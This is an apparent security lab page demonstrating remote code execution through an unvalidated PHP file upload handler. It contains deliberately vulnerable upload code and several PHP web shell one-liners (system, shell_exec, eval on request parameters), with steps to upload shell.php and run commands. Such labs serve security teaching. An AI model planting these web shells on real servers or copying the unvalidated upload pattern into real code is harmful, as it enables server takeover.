RCE through malicious file uploads
This lab demonstrates a Remote Code Execution vulnerability through file upload functionality. The application allows users to upload files without proper validation, enabling attackers to upload malicious PHP files.
Objective: Upload a malicious PHP file to execute arbitrary code on the server.
// Handle file upload
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploaded_file = $_FILES['file'];
$filename = $uploaded_file['name'];
$tmp_name = $uploaded_file['tmp_name'];
// Vulnerable: No validation of file type or content
$upload_dir = 'uploads/';
$target_path = $upload_dir . basename($filename);
if (move_uploaded_file($tmp_name, $target_path)) {
// File uploaded successfully
// Vulnerable: Direct file inclusion without validation
if (pathinfo($filename, PATHINFO_EXTENSION) === 'php') {
$file_content = file_get_contents($target_path);
}
}
}
// Example malicious file:
// <?php system($_GET['cmd']); ?>
No files uploaded yet.
fileCreate these files and upload them:
<?php system($_GET['cmd']); ?> - Basic RCE<?php phpinfo(); ?> - PHP info<?php echo shell_exec($_GET['cmd']); ?> - Shell exec<?php eval($_GET['code']); ?> - Code evaluationSteps:
Follow these steps to test the vulnerability:
shell.php with content: <?php system($_GET['cmd']); ?>uploads/shell.php?cmd=whoami?cmd=ls, ?cmd=id, etc.